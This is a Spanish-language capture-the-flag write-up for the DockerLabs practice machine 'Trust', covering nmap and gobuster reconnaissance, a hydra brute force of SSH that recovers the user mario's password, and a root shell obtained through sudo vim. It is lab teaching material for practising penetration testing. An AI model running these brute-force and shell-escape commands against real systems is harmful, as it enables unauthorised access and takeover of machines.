> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/trust.md).
# Trust
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Trust** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Una vez descargado el archivo `trust.zip`, procedemos a descomprimirlo utilizando la herramienta `7z`, utilizando el siguiente comando:
```bash
7z x trust.zip
```
#### **1.3. Ejecución**
Utilizamos el script proporcionado (`auto_deploy.sh`) para desplegar la máquina en Docker:
```bash
bash auto_deploy.sh trust.tar
```
Al finalizar la ejecución del script, se nos proporciona la dirección IP de la máquina (`172.18.0.2`), que utilizaremos para todas las interacciones posteriores.
### **2. Reconocimiento**
#### **2.1. Comprobación de conectividad**
Verificamos si la máquina es alcanzable mediante un `ping`:
```bash
ping -c 1 172.18.0.2
```
El resultado muestra un **TTL** de **64**, lo cual es indicativo de un sistema operativo **Linux**, ya que por defecto, utiliza este valor.
#### **2.2. Escaneo de puertos**
Realizamos un escaneo rápido de puertos abiertos con `nmap`:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.18.0.2 -oG allPorts
```
**Resultados:**
* **Puerto 22:** SSH.
* **Puerto 80:** HTTP.
Analizamos los puertos abiertos encontrados con mayor profundidad:
```bash
nmap -p22,80 -sCV 172.18.0.2 -oN targeted
```
**Resultados:**
* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 80:** Apache httpd 2.4.57.
#### **2.3. Análisis web**
Al acceder mediante el navegador a `http://172.18.0.2`, visualizamos la página por defecto del servidor de Apache, sin contenido relevante a simple vista.
#### **2.4. Enumeración de recursos web**
Utilizamos `gobuster` para descubrir directorios y archivos ocultos:
```bash
gobuster dir -u http://172.18.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .php
```
> **Recuerda:** La opción `-x .php` permite buscar archivos con extensión PHP, que suelen estar presentes en aplicaciones dinámicas.
Entre los resultados, encontramos un archivo llamado `secret.php`.
### **3. Explotación**
#### **3.1. Descubrimiento de un usuario**
Al visitar `http://172.18.0.2/secret.php`, encontramos un posible nombre de usuario `mario`.
#### **3.2. Fuerza bruta sobre SSH**
Utilizamos la herramienta `hydra` para realizar un ataque de fuerza bruta contra el servicio SSH, intentando descubrir la contraseña del usuario `mario`:
```bash
hydra -l mario -P /usr/share/wordlists/rockyou.txt 172.18.0.2 ssh
```
**Resultado:** La contraseña del usuario `mario` es `chocolate`.
#### **3.3. Acceso SSH**
Nos conectamos al sistema por SSH:
```bash
ssh mario@172.18.0.2
```
### **4. Escalada de privilegios**
#### **4.1. Comprobación de permisos**
Verificamos los permisos que el usuario `mario` puede ejecutar con privilegios elevados:
```bash
sudo -l
```
**Resultado:** El usuario `mario` puede ejecutar `vim` como `root` sin proporcionar contraseña:
```bash
(ALL) /usr/bin/vim
```
#### **4.2. Escalada mediante vim**
Consultamos el recurso [GTFOBins](https://gtfobins.github.io/gtfobins/vim/) para identificar métodos de abuso de este binario:
```bash
sudo vim -c ':!/bin/sh'
```
**Resultado:** Obtenemos una shell con privilegios de `root`.
